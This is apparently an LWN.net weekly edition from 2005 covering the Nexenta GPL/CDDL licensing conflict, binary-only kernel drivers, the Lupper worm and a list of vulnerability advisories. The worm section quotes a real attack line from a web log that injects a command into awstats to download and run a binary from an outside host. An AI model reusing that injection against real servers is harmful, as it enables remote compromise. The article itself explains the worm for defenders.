When Sun Microsystems decided to release Solaris under the CDDL
license, it did so with the knowledge that this code could not be combined
with GPL-licensed code. That incompatibility was pretty much guaranteed to
create some interesting conflicts at some time. That time appears to have
arrived, thanks to the release of
Nexenta, a Debian-based system
built on top of the Solaris kernel and runtime libraries. How this
conflict is resolved may set the tone for how the GPL and CDDL worlds
intersect in the future.
The Nexenta developers got off to a bit of a bad start by announcing its existence while
putting its entire web site behind a password gate. Once general access
was allowed, developers discovered that binaries of their software were
being distributed without the associated source. The Nexenta developers responded in a rather unhelpful manner:
Also some stuff not committed yet, beca[u]se we are testing them. In
2-3 months we are hoping to sort out all these "starting" issues
with code browsing, scripts availability, etc.
Anybody who has hung around anywhere near the Debian community for any
period of time will know immediately that this sort of answer is unlikely
to go over well. Various developers responded with requests to delete the
binaries immediately, and some even pondered the use of a DMCA takedown
notice. The Nexenta developers appear to have taken the hint, and source
availability has improved, though the occasional glitch still comes to
light.
The hardest issue, however, remains unresolved. The Nexenta project uses,
along with the Solaris kernel, a number of user-space libraries (including
the core C library) from Solaris. These libraries, being licensed under
the CDDL, are not compatible with GPL-licensed applications. But much of
Nexenta's user space is GPL licensed, and is linked against Sun's libc.
And, in particular, much of the management infrastructure which makes
Nexenta a Debian-derived distribution is built this way.
Several Debian developers are claiming that distributing GPL-licensed
applications linked to a CDDL libc constitutes copyright infringement and
should be stopped. The Nexenta developers, instead, justify this distribution by
citing the "system software" exemption in section 3 of the GPL:
However, as a special exception, the source code distributed need
not include anything that is normally distributed (in either source
or binary form) with the major components (compiler, kernel, and so
on) of the operating system on which the executable runs, unless
that component itself accompanies the executable.
This exemption has allowed the distribution of, for example, binaries of
GPL applications for Solaris for many years. The Debian folks respond that
this situation is different: since the libraries and the GPL applications
are all part of the Nexenta distribution, the CDDL-licensed libc does,
indeed, accompany the executable, and the exemption does not apply.
The Nexenta developers do not appear to entirely buy this argument. They
have suggested, however, that Nexenta could be split into two pieces: the
CDDL-licensed core, and the GPL-licensed applications. Once the core is
installed, the applications could be brought in from a repository
somewhere. The only problem there is that bringing in those applications
requires the use of (GPL-licensed) tools like dpkg, which would thus have
to be distributed with the core system. Getting past this little bootstrap
issue could be a challenge.
Once again, Nexenta has not helped itself here: project developers have suggested that the Debian community might want
to help them out by relicensing dpkg under CDDL-compatible terms. Suffice
to say that this idea was not received enthusiastically. The idea of rewriting dpkg as a CDDL application has also
been raised, though that raises some issues of its own.
A more plausible solution to this problem might be to get Sun to relicense
its libraries in a GPL-compatible way. Nobody has asked Sun (publicly, at
least) whether it would be willing to take this step, but, once again, Sun
was certainly aware of the consequences of its licensing decisions when it
made them. This situation could also be resolved by porting the GNU C
library to the Solaris kernel and shipping it with Nexenta. This is
evidently a big task, and the Nexenta developers (who seem to be fairly
small in number) are not thrilled about taking it on.
The licensing issues are real, and need to be worked out. But many of the
people involved in the debate appear to have lost track of the fact that
the Nexenta project, while perhaps being occasionally arrogant and ignorant
of how Debian does things, is trying to make a contribution to the free
software world. It is a free software project.
Anthony Towns has been almost the lone voice in calling for a higher degree of cooperation
with Nexenta:
I'm amazed at the level of intolerance that's greeting a pretty
major contribution to the free software community. There are, what,
five major OS/kernels for PCs/workstations these days -- Windows,
OS X, Solaris, BSD and Linux. How does it make any sense at all to
be hostile to the fact that now four out of those five are free at
their core?
He also points out that Debian's hands have not always been 100% clean, and
that there is more to gain by helping a project like this toward
free-software purity than by threatening legal action against it. With
luck, the community will hear this message. What Nexenta is doing is very
much within the spirit of free software licensing; with patience and help,
they should be able to get within the letter of those licenses as well.
Comments (84 posted)
There has recently been a surge of discussion, once again, on whether the
Linux kernel should support closed-source drivers. The debate was driven,
perhaps, by the
suspicion (later
put to rest)
that OSDL was supporting the creation of a stable binary driver ABI for
Linux. So perhaps the time has come to review the reasons why the kernel
developers are opposed to closed-source drivers. Our apologies to all of
you who have seen this before.
Support for binary-only drivers seems, on the surface, like it could be a
good idea. Companies could provide Linux drivers for their hardware
without exposing their "valuable intellectual property" to the world.
Users would have a higher degree of assurance that their hardware would
simply work. All of the current hardware hassles would go away, and
everybody would be happy. What could be wrong with that?
One obvious problem is that, with a proprietary driver, a Linux system
loses one of its best characteristics: independence from vendors. A user
of a proprietary driver depends on the vendor for fixes and updates, but
the vendor is under no obligation to provide them. Computing hardware has
a notoriously short product life; if the vendor drops driver support when a
product hits the end of its life, there is little that a user can do. If
the vendor goes out of business, there will be no further support for the
driver. If the vendor decides to start charging for driver updates, the
user has little option but to pull out the wallet.
If the driver has a bug which affects the stability of the system,
only the vendor can fix it.
And history shows that proprietary drivers tend to have plenty of bugs.
They are often written by developers with little time and even less
expertise with the Linux kernel. The code does not go through any sort of
peer review, so obvious problems will persist into the final product. And,
since only the vendor can fix the driver, bugs can last for a long time.
Binary drivers are brittle.
The kernel API can and does change; that aspect of the kernel is not going
away. Freezing an API would limit the developers' ability to fix poor
interfaces, improve how the kernel works, and remove cruft. So binary
drivers will always be likely to break between kernel releases, and users
will have to wait for the vendor to get around to catching up with the
current API.
Linux kernel developers will not help users who have proprietary drivers
loaded into their systems. That is not because the developers want to be
petty and vengeful (well, perhaps one or two of them do); it is simply that
the developers have no way to track down problems when closed-source code
is running.
Even if a vendor offers top-quality drivers and support, it is unlikely
that said vendor supports all of the architectures that run Linux. Freedom
to run on something other than i386 is one of the great advantages of
Linux; proprietary code takes that freedom away.
Finally, proprietary drivers may constitute copyright infringement.
Certainly some developers feel that kernel modules are derived products of
the kernel itself, and thus required to carry the kernel's (GPL) license.
Whether the module interface constitutes a boundary which the GPL cannot
cross can only, in the end, be determined by the courts. Until then, every
proprietary driver carries with it a degree of legal uncertainty.
None of this is new; here's what Linus Torvalds said
back in 1999:
Basically, I want people to know that when they use binary-only
modules, it's THEIR problem. I want people to know that in their
bones, and I want it shouted out from the rooftops. I want people
to wake up in a cold sweat every once in a while if they use
binary-only modules.
The alternative to cold sweats is to stick with hardware which comes with
free drivers. In most areas, finding such hardware is not a challenge. In
the cases where it can be a problem (video adapters, some wireless network
cards), the solution is not to weigh down the kernel with some sort of
set-in-stone ABI. As Linux continues to grow in popularity - and
proprietary drivers get harder to write and maintain - recalcitrant vendors
should eventually come around. That's exactly what has tended to happen
thus far.
Comments (37 posted)
As we
noted last week, the
"subscriber link" feature is now active on the site. With these links, a
subscriber can hand out "get in free" tickets to specific subscriber-only
articles. To do so, you need only pull up the article (if you are reading
it in the Weekly Edition, click on the "comments" link at the bottom to get
there) and use the "send a link" option in the left column.
Initially the feature was only made available to "project leader"
subscribers. Based on the feedback we have received (and the original
plan, in any case), subscriber links are now available to all subscribers.
We will continue to think of ways to make added features available to the
higher-level subscribers, but this feature did not seem like the right one
to use this way.
An unanticipated side benefit of this feature has already become clear. By
looking at the list of outstanding subscriber links, we can quickly see
which of our articles are considered sufficiently interesting to make links
for. That is a level of feedback we didn't have before. For the curious,
last week's winners were A study
on free software in British schools and Sony, rootkits, and the escalation
of the DRM war.
Finally, we'll note that readers coming in on a subscriber link may now be
presented with a tasteful pitch for LWN subscriptions. Happily, our initial plans
for a Flash-based, popup ad were abandoned after a few milliseconds worth
of thought. Hopefully the use of subscriber links will eventually lead to
more subscribers for LWN. Meanwhile, please enjoy the feature, and we
thank you for helping us to design it.
Comments (7 posted)
Page editor: Jonathan Corbet
Security
Security companies and Linux critics worldwide have been happy to proclaim
the existence of the "Lupper" worm, the first Linux-based worm to hit the
net in years. This worm gets into systems by way of the various PHP
XML-RPC vulnerabilities which have been reported (and fixed) over the last
year. Infected systems, apparently, become part of a distributed bot net,
waiting for somebody to tell them what to do.
According to McAfee's Lupper
page, there are a couple of signs of infection: processes listening on
UDP ports 7111 and 7222, and a /tmp/lupii file. Attempted
infections can be seen in the web server logs; they look something like
either of following:
GET /awstats/awstats.pl?configdir=|echo;echo YYY; \
cd /tmp;wget 24.224.174.18/listen;chmod +x listen; \
./listen 216.102.212.115;echo YYY;echo|
POST /drupal/xmlrpc.php
(The first line has been broken up, and %-escapes have been replaced for
readability).
The above lines were taken directly from the LWN.net server log. Thus far,
our server has bravely fended off Lupper attacks from all of five different
sources. So it looks like the attack of the Lupper worm is unlikely to
bring down the net as a whole.
In fact, it would be easy to write off this worm altogether. It attacks
vulnerabilities which few systems had in the first place. Said
vulnerabilities were disclosed - and fixed - months ago. Even Fedora
Legacy - which has not produced an update since September 15 - managed
to get a fix out for this problem. Any system whose administrator applies
security updates will not have been affected by this particular worm. Most
administrators need not go into red-alert status over this one.
That said, it behooves us to notice that Lupper is, indeed, a Linux worm
propagating in the wild. Any of us who feel that, because we are running
Linux, we are immune from worms and other such annoyances have just
received a gentle warning. Someday, somebody will write a worm which
exploits a vulnerability which is widespread and which has not been known
for months. Indeed, they might happen upon a hole which has not been
disclosed at all. On that day, we may all find ourselves feeling rather
less smug.
Comments (24 posted)
Brief items
For those of you running clamav on your mail streams: a remote code
execution vulnerability has been disclosed in this package. Exploits in
the near future would not be a surprising development. Upgrade to version
0.87.1 for the fix, or apply the distributor updates sure to come soon.
Click below for the advisory.
Full Story (comments: none)
New vulnerabilities
chmlib: several vulnerabilities
| Package(s): | chmlib |
CVE #(s): | CVE-2005-2659
CVE-2005-2930
CVE-2005-3318
|
| Created: | November 7, 2005 |
Updated: | November 28, 2005 |
| Description: |
Several vulnerabilities have been discovered in chmlib, a library for
dealing with CHM format files. |
| Alerts: |
|
Comments (none posted)
clamav: multiple vulnerabilities
| Package(s): | clamav |
CVE #(s): | CVE-2005-3239
CVE-2005-3500
CVE-2005-3501
CVE-2005-3303
|
| Created: | November 7, 2005 |
Updated: | November 9, 2005 |
| Description: |
Multiple security holes were found in clamav that may allow attackers to
cause a denial of service, memory corruption and execution of arbitrary code. |
| Alerts: |
|
Comments (none posted)
gpsdrive: format string vulnerability
| Package(s): | gpsdrive |
CVE #(s): | CVE-2005-3523
|
| Created: | November 9, 2005 |
Updated: | November 9, 2005 |
| Description: |
The gpsdrive navigation system contains a format string vulnerability which could be exploited to execute arbitrary code. |
| Alerts: |
|
Comments (none posted)
horde3: design error
| Package(s): | horde3 |
CVE #(s): | CVE-2005-3344
|
| Created: | November 7, 2005 |
Updated: | November 9, 2005 |
| Description: |
Mike O'Connor discovered that the default installation of Horde3 on
Debian includes an administrator account without a password. Already
configured installations will not be altered by this update. |
| Alerts: |
|
Comments (none posted)
libungif: memory corruption
| Package(s): | libungif |
CVE #(s): | CAN-2005-2974
|
| Created: | November 3, 2005 |
Updated: | March 20, 2006 |
| Description: |
The libungif library has a vulnerability in the GIF file
colormap handling code. A maliciously crafted GIF file can
cause out of bounds memory writing and register corruption. |
| Alerts: |
|
Comments (none posted)
php: multiple vulnerabilities
| Package(s): | php |
CVE #(s): | CVE-2005-3390
CVE-2005-3389
CVE-2005-3388
CVE-2005-3353
|
| Created: | November 8, 2005 |
Updated: | December 23, 2005 |
| Description: |
There are multiple vulnerabilities in PHP, including malicious requests may overwrite the GLOBALS array, the parse_str() function may enable the
register_globals setting, cross-site scripting bugs in phpinfo() and a bug in EXIF image parsing that may crash the process. |
| Alerts: |
|
Comments (none posted)
pwdutils: privilege escalation
| Package(s): | pwdutils shadow |
CVE #(s): | |
| Created: | November 4, 2005 |
Updated: | November 9, 2005 |
| Description: |
Thomas Gerisch found that the setuid 'chfn' program contained in the
pwdutils suite insufficiently checks it's arguments when changing the GECOS
field. This bug leads to a trivially exploitable local privilege escalation
that allows users to gain root access. |
| Alerts: |
|
Comments (none posted)
spamassassin: denial of service
| Package(s): | spamassassin |
CVE #(s): | CVE-2005-3351
|
| Created: | November 9, 2005 |
Updated: | March 7, 2006 |
| Description: |
Spamassassin through version 3.0.4 can be made to dump core if a message arrives with too many addresses in the To: field. |
| Alerts: |
|
Comments (none posted)
sylpheed: buffer overflow
| Package(s): | sylpheed |
CVE #(s): | CVE-2005-3354
|
| Created: | November 9, 2005 |
Updated: | January 6, 2006 |
| Description: |
The sylpheed mail client, prior to versions 1.0.6 and 2.0.4, contains a buffer overflow in the LDIF address book import code. |
| Alerts: |
|
Comments (none posted)
thttpd: insecure temp file
| Package(s): | thttpd |
CVE #(s): | CVE-2005-3124
|
| Created: | November 4, 2005 |
Updated: | November 9, 2005 |
| Description: |
Javier Fernández-Sanguino Peña from the Debian Security Audit team
discovered that the syslogtocern script from thttpd, a tiny webserver,
uses a temporary file insecurely, allowing a local attacker to craft a
symlink attack to overwrite arbitrary files. |
| Alerts: |
|
Comments (none posted)
Updated vulnerabilities
a2ps: input validation error
| Package(s): | a2ps |
CVE #(s): | CAN-2004-1170
CAN-2004-1377
|
| Created: | November 26, 2004 |
Updated: | December 19, 2005 |
| Description: |
The GNU a2ps utility fails to properly sanitize filenames, which can be
abused by a malicious user to execute arbitrary commands with the
privileges of the user running the vulnerable application. More
information at Security
Focus. |
| Alerts: |
|
Comments (none posted)
abiword: buffer overflow
| Package(s): | abiword |
CVE #(s): | CAN-2005-2964
|
| Created: | September 29, 2005 |
Updated: | November 14, 2005 |
| Description: |
The RTF import module of the AbiWord word processor has a
buffer overflow vulnerability. A user can be tricked into
opening a maliciously crafted RTF file, giving the attacker
the ability to execute code with the permissions of the user. |
| Alerts: |
|
Comments (none posted)
apache information disclosure if modssl=yes
| Package(s): | apache |
CVE #(s): | CAN-2005-2700
|
| Created: | September 2, 2005 |
Updated: | November 10, 2005 |
| Description: |
An information disclosure vulnerability was discovered in mod_ssl, the SSL/TLS module of the Apache webserver. When "SSLVerifyClient optional" was configured in the global virtual host configuration, an "SSLVerifyClient require" in per-location context was not enforced.
|
| Alerts: |
|
Comments (none posted)
httpd: off-by-one overflow and cross-site scripting
| Package(s): | apache httpd |
CVE #(s): | CAN-2005-1268
CAN-2005-2088
|
| Created: | July 25, 2005 |
Updated: | November 7, 2005 |
| Description: |
Watchfire reported a flaw that occurred when using the Apache server as an
HTTP proxy. A remote attacker could send an HTTP request with both a
"Transfer-Encoding: chunked" header and a "Content-Length" header. This
caused Apache to incorrectly handle and forward the body of the request in
a way that the receiving server processes it as a separate HTTP request.
This could allow the bypass of Web application firewall protection or lead
to cross-site scripting (XSS) attacks.
Marc Stern reported an off-by-one overflow in the mod_ssl CRL verification
callback. In order to exploit this issue the Apache server would need to
be configured to use a malicious certificate revocation list (CRL). |
| Alerts: |
|
Comments (none posted)
awstats: command injection vulnerability
| Package(s): | awstats |
CVE #(s): | CAN-2005-1527
|
| Created: | August 11, 2005 |
Updated: | November 10, 2005 |
| Description: |
AWStats has a command injection vulnerability that can
be exploited by specially crafting referrer URLs that
contain Perl code. The code can then be executed with the
privileges of the web server. |
| Alerts: |
|
Comments (2 posted)
bzip2: race condition and infinite loop
| Package(s): | bzip2 |
CVE #(s): | CAN-2005-0953
CAN-2005-1260
|
| Created: | May 17, 2005 |
Updated: | January 10, 2007 |
| Description: |
A race condition in bzip2 1.0.2 and earlier allows local users to modify
permissions of arbitrary files via a hard link attack on a file while it is
being decompressed, whose permissions are changed by bzip2 after the
decompression is complete. Also specially crafted bzip2 archives may cause
an infinite loop in the decompressor. |
| Alerts: |
|
Comments (2 posted)
common-lisp-controller: design error
| Package(s): | common-lisp-controller |
CVE #(s): | CAN-2005-2657
|
| Created: | September 14, 2005 |
Updated: | November 21, 2005 |
| Description: |
François-René Rideau discovered a bug in common-lisp-controller, a
Common Lisp source and compiler manager, that allows a local user to
compile malicious code into a cache directory which is executed by
another user if that user has not used Common Lisp before.
|
| Alerts: |
|
Comments (none posted)
cpio: directory traversal
| Package(s): | cpio |
CVE #(s): | CAN-2005-1111
|
| Created: | June 20, 2005 |
Updated: | December 26, 2005 |
| Description: |
There is a vulnerability in
cpio (2.6 and previous) that allows a malicious cpio file to
extract to an arbitrary directory of the attackers choice. cpio will
extract to the path specified in the cpio file, this path can be absolute. |
| Alerts: |
|
Comments (1 posted)
curl/wget: NTLM username buffer overflow
| Package(s): | curl wget |
CVE #(s): | CAN-2005-3185
|
| Created: | October 14, 2005 |
Updated: | November 7, 2005 |
| Description: |
A vulnerability in libcurl's NTLM function can overflow a stack-based
buffer if given too long a user name or domain name in NTLM authentication
is enabled and either a) pass a user and domain name to libcurl that
together are longer than 192 bytes or b) allow (lib)curl to follow HTTP
redirects and the new URL contains a URL with a user and domain name that
together are longer than 192 bytes. See this iDEFENSE Labs advisory for more details. |
| Alerts: |
|
Comments (none posted)
cyrus-imapd: buffer overflows
| Package(s): | cyrus-imapd |
CVE #(s): | CAN-2005-0546
|
| Created: | February 23, 2005 |
Updated: | April 10, 2006 |
| Description: |
Cyrus-imapd, prior to version 2.2.12, contains several buffer overflows which could be exploited by an (authenticated) attacker to run code on the server system. |
| Alerts: |
|
Comments (none posted)
dia: missing input sanitizing
| Package(s): | dia |
CVE #(s): | CAN-2005-2966
|
| Created: | October 4, 2005 |
Updated: | April 6, 2006 |
| Description: |
Joxean Koret discovered that the SVG import plugin did not properly
sanitize data read from an SVG file. By tricking an user into opening
a specially crafted SVG file, an attacker could exploit this to
execute arbitrary code with the privileges of the user. |
| Alerts: |
|
Comments (none posted)
elm: buffer overflow
| Package(s): | elm |
CVE #(s): | CAN-2005-2665
|
| Created: | August 23, 2005 |
Updated: | November 11, 2005 |
| Description: |
A buffer overflow flaw in Elm was
discovered that was triggered by viewing a mailbox containing a message
with a carefully crafted 'Expires' header. An attacker could create a
malicious message that would execute arbitrary code with the privileges of
the user who received it. |
| Alerts: |
|
Comments (none posted)
emacs21: format string vulnerability in "movemail"
| Package(s): | emacs21 |
CVE #(s): | CAN-2005-0100
|
| Created: | February 7, 2005 |
Updated: | May 15, 2006 |
| Description: |
Max Vozeler discovered a format string vulnerability in the "movemail"
utility of Emacs. By sending specially crafted packets, a malicious
POP3 server could cause a buffer overflow, which could be exploited to
execute arbitrary code with the privileges of the user and the "mail"
group. |
| Alerts: |
|
Comments (none posted)
enigmail: information disclosure
| Package(s): | enigmail |
CVE #(s): | CVE-2005-3256
|
| Created: | October 20, 2005 |
Updated: | December 13, 2005 |
| Description: |
The key selection dialog from the Mozilla Thunderbird enigmail plugin
has an information disclosure vulnerability.
A key with an empty user id from a user's keyring will be used by
default, allowing a message to be decrypted. This can lead to an
unauthorized information disclosure. |
| Alerts: |
|
Comments (none posted)
enscript: arbitrary code execution
| Package(s): | enscript |
CVE #(s): | CAN-2004-1184
CAN-2004-1185
CAN-2004-1186
|
| Created: | January 21, 2005 |
Updated: | May 27, 2006 |
| Description: |
Erik Sjölund has discovered several security relevant problems in enscript,
a program to convert ASCII text into Postscript and other formats.
Unsanitized input can cause the execution of arbitrary commands via EPSF
pipe support. Due to missing sanitizing of filenames it is possible that a
specially crafted filename can cause arbitrary commands to be executed.
Multiple buffer overflows can cause the program to crash. |
| Alerts: |
|
Comments (none posted)
ethereal: multiple vulnerabilities
Comments (none posted)
evolution: format string issues
Comments (2 posted)
fetchmailconf: insecure file creation
| Package(s): | fetchmail |
CVE #(s): | CVE-2005-3088
|
| Created: | October 26, 2005 |
Updated: | November 22, 2005 |
| Description: |
The fetchmailconf utility can create files which are world-readable for a brief period. These files may contain passwords, and thus should not be created in this manner.
|
| Alerts: |
|
Comments (none posted)
firefox: multiple vulnerabilities
Comments (none posted)
Foomatic: Arbitrary command execution in foomatic-rip
| Package(s): | foomatic |
CVE #(s): | CAN-2004-0801
|
| Created: | September 20, 2004 |
Updated: | May 31, 2006 |
| Description: |
There is a vulnerability in the foomatic-filters package. This
vulnerability is due to insufficient checking of command-line parameters
and environment variables in the foomatic-rip filter. This vulnerability
may allow both local and remote attackers to execute arbitrary commands on
the print server with the permissions of the spooler. |
| Alerts: |
|
Comments (none posted)
gaim: buffer overflow
| Package(s): | gaim |
CVE #(s): | CAN-2005-2103
|
| Created: | August 10, 2005 |
Updated: | February 27, 2006 |
| Description: |
Gaim suffers from a heap-based buffer overflow which can be exploited via a hostile "away message" to execute arbitrary code. |
| Alerts: |
|
Comments (none posted)
gallery: privilege escalation
| Package(s): | gallery |
CVE #(s): | CVE-2005-2596
|
| Created: | November 2, 2005 |
Updated: | November 2, 2005 |
| Description: |
The gallery system has a bug which can allow all PostNuke users full access to the gallery. |
| Alerts: |
|
Comments (none posted)
gdb: multiple vulnerabilities
| Package(s): | gdb |
CVE #(s): | CAN-2005-1704
CAN-2005-1705
|
| Created: | May 20, 2005 |
Updated: | August 11, 2006 |
| Description: |
Tavis Ormandy of the Gentoo Linux Security Audit Team discovered an integer
overflow in the BFD library, resulting in a heap overflow. A review also
showed that by default, gdb insecurely sources initialization files from
the working directory. Successful exploitation would result in the
execution of arbitrary code on loading a specially crafted object file or
the execution of arbitrary commands. |
| Alerts: |
|
Comments (5 posted)
gtk-pixbuf, gtk2: denial of service
| Package(s): | gdk-pixbuf gtk2 |
CVE #(s): | CAN-2005-0891
|
| Created: | March 30, 2005 |
Updated: | December 19, 2005 |
| Description: |
The BMP image processing code in gdk-pixbuf and gtk2 contains a denial of service vulnerability exploitable via a specially crafted image file.
|
| Alerts: |
|
Comments (none posted)
gedit: format string vulnerability
| Package(s): | gedit |
CVE #(s): | CAN-2005-1686
|
| Created: | June 9, 2005 |
Updated: | February 5, 2009 |
| Description: |
A format string vulnerability has been discovered in gedit. Calling
the program with specially crafted file names caused a buffer
overflow, which could be exploited to execute arbitrary code with the
privileges of the gedit user. |
| Alerts: |
|
Comments (1 posted)
gettext: Insecure temporary file handling
| Package(s): | gettext |
CVE #(s): | CAN-2004-0966
|
| Created: | October 11, 2004 |
Updated: | March 1, 2006 |
| Description: |
gettext insecurely creates temporary files in world-writeable directories
with predictable names. A local attacker could create symbolic links in
the temporary files directory, pointing to a valid file somewhere on the
filesystem. When gettext is called, this would result in file access with
the rights of the user running the utility, which could be the root user. |
| Alerts: |
|
Comments (1 posted)
glibc: tempfile vulnerability in catchsegv script
| Package(s): | glibc |
CVE #(s): | CAN-2004-0968
|
| Created: | October 21, 2004 |
Updated: | November 14, 2005 |
| Description: |
The catchsegv script in the glibc package has a symlink vulnerability
that may allow a local user to overwrite arbitrary
files with the permissions of the user that is running the script. |
| Alerts: |
|
Comments (none posted)
gnump3d: cross-site scripting, directory traversal
| Package(s): | gnump3d |
CVE #(s): | CVE-2005-3122
CVE-2005-3123
|
| Created: | October 28, 2005 |
Updated: | November 7, 2005 |
| Description: |
Steve Kemp discovered two vulnerabilities in gnump3d, a streaming
server for MP3 and OGG files. |
| Alerts: |
|
Comments (none posted)
grip: buffer overflow
| Package(s): | grip |
CVE #(s): | CAN-2005-0706
|
| Created: | March 10, 2005 |
Updated: | November 19, 2008 |
| Description: |
Grip, a CD ripper, has a buffer overflow vulnerability that can
occur when the CDDB server returns more than 16 matches. |
| Alerts: |
|
Comments (none posted)
groff: insecure temporary directory
| Package(s): | groff |
CVE #(s): | CAN-2004-0969
|
| Created: | November 1, 2004 |
Updated: | February 9, 2006 |
| Description: |
Recently, Trustix Secure Linux discovered a vulnerability in the groff
package. The utility "groffer" created a temporary directory in an
insecure way, which allowed exploitation of a race condition to create
or overwrite files with the privileges of the user invoking the
program. |
| Alerts: |
|
Comments (none posted)
gzip: arbitrary command execution
| Package(s): | gzip |
CVE #(s): | CAN-2005-0758
|
| Created: | August 1, 2005 |
Updated: | January 10, 2007 |
| Description: |
zgrep in gzip before 1.3.5 does not handle shell metacharacters like '|'
and '&' properly when they occurred in input file names. This could be
exploited to execute arbitrary commands with user privileges if zgrep is
run in an untrusted directory with specially crafted file names. |
| Alerts: |
|
Comments (2 posted)
htdig: cross site scripting
| Package(s): | htdig |
CVE #(s): | CAN-2005-0085
|
| Created: | February 14, 2005 |
Updated: | January 10, 2006 |
| Description: |
Michael Krax discovered that ht://Dig fails to validate the 'config'
parameter before displaying an error message containing the parameter.
This flaw could allow an attacker to conduct cross-site scripting
attacks. |
| Alerts: |
|
Comments (none posted)
imap: buffer overflow in c-client
| Package(s): | imap |
CVE #(s): | CAN-2003-0297
|
| Created: | February 18, 2005 |
Updated: | April 10, 2006 |
| Description: |
A buffer overflow flaw was found in the c-client IMAP client. An attacker
could create a malicious IMAP server that if connected to by a victim could
execute arbitrary code on the client machine. |
| Alerts: |
|
Comments (none posted)
junkbuster: heap corruption and settings modification
| Package(s): | junkbuster |
CVE #(s): | CVE-2005-1108
CVE-2005-1109
|
| Created: | April 13, 2005 |
Updated: | November 5, 2005 |
| Description: |
JunkBuster through version 2.02-r2 contains two vulnerabilities: a heap corruption bug and a possible privacy violation. |
| Alerts: |
|
Comments (1 posted)
kdebase: local root vulnerability
| Package(s): | kdebase |
CVE #(s): | CAN-2005-2494
|
| Created: | September 7, 2005 |
Updated: | August 11, 2006 |
| Description: |
The kdebase package (and kcheckpass in particular) found in KDE versions 3.2.0 through 3.4.2 suffers from a lock file handling error which can enable a local attacker to obtain root access. See this advisory for details. |
| Alerts: |
|
Comments (none posted)
kdelibs: kate backup file permission leak
| Package(s): | kdelibs kate kwrite |
CVE #(s): | CAN-2005-1920
|
| Created: | July 19, 2005 |
Updated: | September 21, 2010 |
| Description: |
Kate / Kwrite, as shipped with KDE 3.2.x up to including 3.4.0, creates a file backup before saving a modified file. These backup files are created with default permissions, even if the original file had more strict permissions set. See this advisory for more information. |
| Alerts: |
|
Comments (1 posted)
kernel: multiple vulnerabilities
Comments (none posted)
koffice: KWord RTF import buffer overflow
| Package(s): | koffice |
CVE #(s): | CAN-2005-2971
|
| Created: | October 12, 2005 |
Updated: | November 7, 2005 |
| Description: |
The KOffice RTF import module suffers from a buffer overflow vulnerability
which could be exploited via a malicious RTF file. See the KDE
advisory for details. |
| Alerts: |
|
Comments (none posted)
krb5: double-free flaw
| Package(s): | krb5 |
CVE #(s): | CAN-2004-0175
CAN-2005-0488
CAN-2005-1175
CAN-2005-1689
|
| Created: | July 12, 2005 |
Updated: | December 6, 2005 |
| Description: |
The krb5 authentication has a double-free flaw which may be
initiated by a remote unauthenticated attacker.
Also, a single byte heap overflow in the krb5_unparse_name() function
can lead to a denial of service and an information disclosure may
be caused by a malicious telnet server. See
This report for more
information. |
| Alerts: |
|
Comments (none posted)
libconvert-uulib-perl: arbitrary code execution
| Package(s): | libconvert-uulib-perl |
CVE #(s): | CAN-2005-1349
|
| Created: | May 20, 2005 |
Updated: | January 27, 2006 |
| Description: |
Mark Martinec and Robert Lewis discovered a buffer overflow in
Convert::UUlib (before 1.051), a Perl interface to the uulib library, which
may result in the execution of arbitrary code. |
| Alerts: |
|
Comments (1 posted)
libdbi-perl: insecure temporary file
| Package(s): | libdbi-perl |
CVE #(s): | CAN-2005-0077
|
| Created: | January 25, 2005 |
Updated: | March 2, 2006 |
| Description: |
Javier Fernández-Sanguino Peña from the Debian Security Audit Project
discovered that the DBI library, the Perl5 database interface, creates
a temporary PID file in an insecure manner. This can be exploited by a
malicious user to overwrite arbitrary files owned by the person
executing the parts of the library. |
| Alerts: |
|
Comments (none posted)
libgadu: memory alignment bug
| Package(s): | libgadu |
CVE #(s): | CAN-2005-2370
|
| Created: | July 29, 2005 |
Updated: | June 25, 2007 |
| Description: |
Szymon Zygmunt and Michal Bartoszkiewicz discovered a memory alignment
error in libgadu (from ekg, console Gadu Gadu client, an instant
messaging program) which is included in gaim, a multi-protocol instant
messaging client, as well. This can not be exploited on the x86
architecture but on others, e.g. on Sparc and lead to a bus error,
in other words a denial of service.
|
| Alerts: |
|
Comments (none posted)
libgd2: buffer overflows in PNG handling
| Package(s): | libgd2 |
CVE #(s): | CAN-2004-0990
CAN-2004-0941
|
| Created: | October 29, 2004 |
Updated: | June 28, 2006 |
| Description: |
Several buffer overflows have been discovered in libgd's PNG handling
functions.
If an attacker tricked a user into loading a malicious PNG image, they
could leverage this into executing arbitrary code in the context of
the user opening image. Most importantly, this library is commonly
used in PHP. One possible target would be a PHP driven photo website
that lets users upload images. Therefore this vulnerability might lead
to privilege escalation to a web server's privileges.
Multiple buffer overflows in the gd graphics library (libgd) 2.0.21 and
earlier may allow remote attackers to execute arbitrary code via malformed
image files that trigger the overflows due to improper calls to the
gdMalloc function. |
| Alerts: |
|
Comments (none posted)
libgda2: format string vulnerabilities
| Package(s): | libgda2 |
CVE #(s): | CAN-2005-2958
|
| Created: | October 25, 2005 |
Updated: | November 18, 2005 |
| Description: |
Steve Kemp discovered two format string vulnerabilities in libgda2,
the GNOME Data Access library for GNOME2, which may lead to the
execution of arbitrary code in programs that use this library. |
| Alerts: |
|
Comments (none posted)
libnet-ssleay-perl: weakened cryptographic operations
| Package(s): | libnet-ssleay-perl |
CVE #(s): | CAN-2005-0106
|
| Created: | May 3, 2005 |
Updated: | January 27, 2006 |
| Description: |
Javier Fernandez-Sanguino Pena discovered that this library used the
file /tmp/entropy as a fallback entropy source if a proper source was
not set in the environment variable EGD_PATH. This can potentially
lead to weakened cryptographic operations if an attacker provides a
/tmp/entropy file with known content. |
| Alerts: |
|
Comments (none posted)
libpam-ldap: authentication bypass
| Package(s): | libpam-ldap |
CVE #(s): | CAN-2005-2641
|
| Created: | August 25, 2005 |
Updated: | October 6, 2006 |
| Description: |
libpam-ldap, the PAM LDAP interface, has a vulnerability in which
it fails to authenticate with an LDAP server which is not configured
properly, allowing an authentication bypass. |
| Alerts: |
|
Comments (none posted)
libTIFF: buffer overflow
| Package(s): | libtiff |
CVE #(s): | CAN-2005-1544
|
| Created: | May 10, 2005 |
Updated: | February 18, 2006 |
| Description: |
Tavis Ormandy of the Gentoo Linux Security Audit Team discovered a
stack based buffer overflow in the libTIFF library when reading a TIFF
image with a malformed BitsPerSample tag. Successful exploitation would
require the victim to open a specially crafted TIFF image, resulting in the
execution of arbitrary code. |
| Alerts: |
|
Comments (1 posted)
libxml2 - arbitrary code execution
| Package(s): | libxml2 |
CVE #(s): | CAN-2004-0110
|
| Created: | February 26, 2004 |
Updated: | August 19, 2009 |
| Description: |
